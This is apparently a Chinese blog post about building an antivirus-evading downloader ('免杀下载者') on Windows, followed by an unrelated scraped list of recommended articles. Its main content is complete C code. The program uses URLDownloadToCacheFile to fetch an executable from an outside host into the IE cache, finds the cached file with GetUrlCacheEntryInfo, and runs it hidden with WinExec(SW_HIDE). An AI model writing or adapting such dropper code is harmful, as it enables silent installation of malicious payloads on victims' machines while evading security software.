今天看urlmon.h文件,看到其他几个下载的函数,想如果用别人不常用的UrlDownloadToFile函数,写出来下载者,会不会是免杀的?
开始动手查函数URLDownloadToCacheFile(msdn: http://msdn.microsoft.com/library/default.asp?url=/workshop/net ... /functions/urldownloadtocachefile.asp),看字面意思是下载文件到缓存文件,msdn上查到使用方法,执行一次下载后找到文件下载到了ie的缓存文件夹里.后来找能获取ie缓存文件夹的路径,又google了几分钟,终于找到个合适的api:GetUrlCacheEntryInfo(msdn:http://msdn2.microsoft.com/en-us/library/aa384185.aspx)

于是有了以下代码:

  ]

#include<urlmon.h>
#include<Wininet.h>
#include<stdio.h>
#pragma comment(lib,"urlmon.lib")
#pragma comment(lib,"Wininet.lib")

#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/merge:.rdata=.text")

#define szUrl "http://www.spr1t3.com/hello.exe"

void main(int argc,char ** argv)
{
    URLDownloadToCacheFile(NULL,szUrl,"c://1.exe",50,0,NULL);
   
    DWORD dwEntrySize=0;
    LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry;
   
    char strTemp[255];
   
    if (!GetUrlCacheEntryInfo(szUrl,NULL,&dwEntrySize))
    {
        if (GetLastError()!=ERROR_INSUFFICIENT_BUFFER)
        {
            return;
        }
        else
            lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO)new char[dwEntrySize];
    }
    else
        return;
   
    if (!GetUrlCacheEntryInfo(szUrl,lpCacheEntry,&dwEntrySize))
    {
        return;
    }
    else
    {
        memset(strTemp,0,255);
        strncpy(strTemp,lpCacheEntry->lpszLocalFileName,strlen(lpCacheEntry->lpszLocalFileName));
        WinExec(strTemp,SW_HIDE);
        return;
    }
}

很少人用的下载者方法相关推荐

  1. android电视打开ppt,很少人知道的3种智能电视演示PPT的方法

    原标题:很少人知道的3种智能电视演示PPT的方法 演示PPT,通常是在投影上,但随着大屏智能电视的火热和普及,越来越多的办公室以大屏智能电视取代投影,成为办公室不可或缺的生产力.今天就以60吋酷开K6 ...

  2. C# 很少人知道的科技

    本文来告诉大家在C#很少有人会发现的科技.即使是工作了好多年的老司机也不一定会知道,如果觉得我在骗你,那么请看看下面 因为C#在微软的帮助,已经从原来很简单的,到现在的很好用.在10多年,很少人知道微 ...

  3. 相片打印机原理_激光照片打印机的原理 为什么很少人用激光照片打印机打印照片...

    激光照片打印机是利用激光扫描,在硒鼓上形成电荷潜影,然后吸附墨粉,再将墨粉转印到打印纸上,只不过黑白激光打印机只有一种黑色墨粉,而彩色激光打印机要使用黄.品.青.黑四种颜色的墨粉. 该图片由注册用户& ...

  4. enfp工具箱怎么用_5个很少人知道的黑科技工具箱,功能奇妙,一个顶十个用

    原标题:5个很少人知道的黑科技工具箱,功能奇妙,一个顶十个用 平时我们上网或者在使用手机的时候,是不是因为各种各样的操作需要下载很多各式各样的软件?今天要来说说5个实用的黑科技工具箱,手机端网页端都有 ...

  5. python中文名字叫什么-Python为什么取名为Python,很少人知道

    原标题:Python为什么取名为Python,很少人知道 打开世界编程语言排行榜,出现在榜单上的语言名称多半都让人一头雾水.一些编程语言的作者会以「这种语言是什么」来命名语言,比如 BASIC.COB ...

  6. 搞模具的想转行学计算机,为什么很少人去做模具设计学徒,看看这里你就明白了!...

    原标题:为什么很少人去做模具设计学徒,看看这里你就明白了! 模具是工业之母,我们生活中很多东西都是用模具生产的,由于需求量巨大,只有用模具批量生产才能让产品达到量产,提高效率,降低成本.目前工业发展迅 ...

  7. 为什么很少人用redmine_为什么中文不能用来编程呢?其实还有这些原因!看完长见识了...

    今天小编带大家来了解一下编程的问题. 编程就是让计算机为解决某个问题而使用某种程序设计语言编写程序代码,并最终得到结果的过程.那么有些小伙伴就很困惑了,为什么我们编程的时候为什么中文不能用来编程呢? ...

  8. 很少人知道但很有用的 Linux 命令

    Linux命令行吸引了大多数Linux爱好者.一个正常的Linux用户一般掌握大约50-60个命令来处理每日的任务.Linux命令和它们的转换对于Linux用户.Shell脚本程序员和管理员来说是最有 ...

  9. 很少人知道的Linux命令

    Linux命令行吸引了大多数Linux爱好者.一个正常的Linux用户一般掌握大约50-60个命令来处理每日的任务.Linux命令和它们的转换对于Linux用户.Shell脚本程序员和管理员来说是最有 ...

  10. 为什么很少人用redmine_首乌防脱为什么不好用,你所不知道的使用诀窍介绍

    现在脱发的人很多,我们知道首乌自古就有防脱生发的作用,且专门用来治疗生发,像<本草纲目><本草拾遗><金匮药略>等都有记载.这么好用,而且久经考验,为什么现在用的很 ...

最新文章

  1. 《转》从程序员到项目经理(五):不是人人都懂的学习要点
  2. Windows 窗体启动和关闭的事件顺序
  3. Git复习(十)之常见报错和疑问
  4. Spring各jar包的作用(转载)
  5. ansible获取linux信息,ansible 获取系统信息的一些范例,ansible系统信息
  6. 【HYSBZ - 2763 】飞行路线 (分层图最短路,最短路dp)
  7. 【华为云技术分享】云容器引擎 CCE权限管理实践
  8. input自适应_一种Dynamic ReLU:自适应参数化ReLU激活函数(调参记录13)
  9. UVa 11419 SAM I AM
  10. 关于Linux系统下若干易混淆目录的分析
  11. 怎样将一个Long类型的数据转换成字节数组
  12. 华为云各行业数据库服务整体解决方案、数据库迁移上云解决方案
  13. win7 Embedded EWF与HORM特性(实战验证)
  14. 用百宝云在线表单制作一个简单的投票系统
  15. 手游开发者的渠道之困
  16. java rrd 读取_RRDtool 系列连载-6 :如何从 RRD 数据库中提取数据 - RRDtool - 阿勃的 blog...
  17. AD9173/AD9689 FMC采集板卡调试记录
  18. office表格标题和表格距离过大怎么解决
  19. 【12月原创】RT-thread - 柿饼UI —— 网络流媒体播放器
  20. Dubbo之《尚硅谷》学习笔记

热门文章

  1. 西门子g120变频器接线图_西门子G120变频器通过IOP-2面板快速启动
  2. moudbus报文解析
  3. 手动实现伽马校正(python)
  4. MATLAB中fspecial()函数的用法
  5. 学术论文写作规范性的要点-I 中文学术论文写作规划
  6. 一文JDK动态代理的那点事儿
  7. 关于使用中如何实现数据的筛选的问题
  8. win7精简_微软从未公开的win10版本,3GB+极度精简,老爷机总算有救了!
  9. vbs编程中 on error resume next的意思
  10. open cv中文文档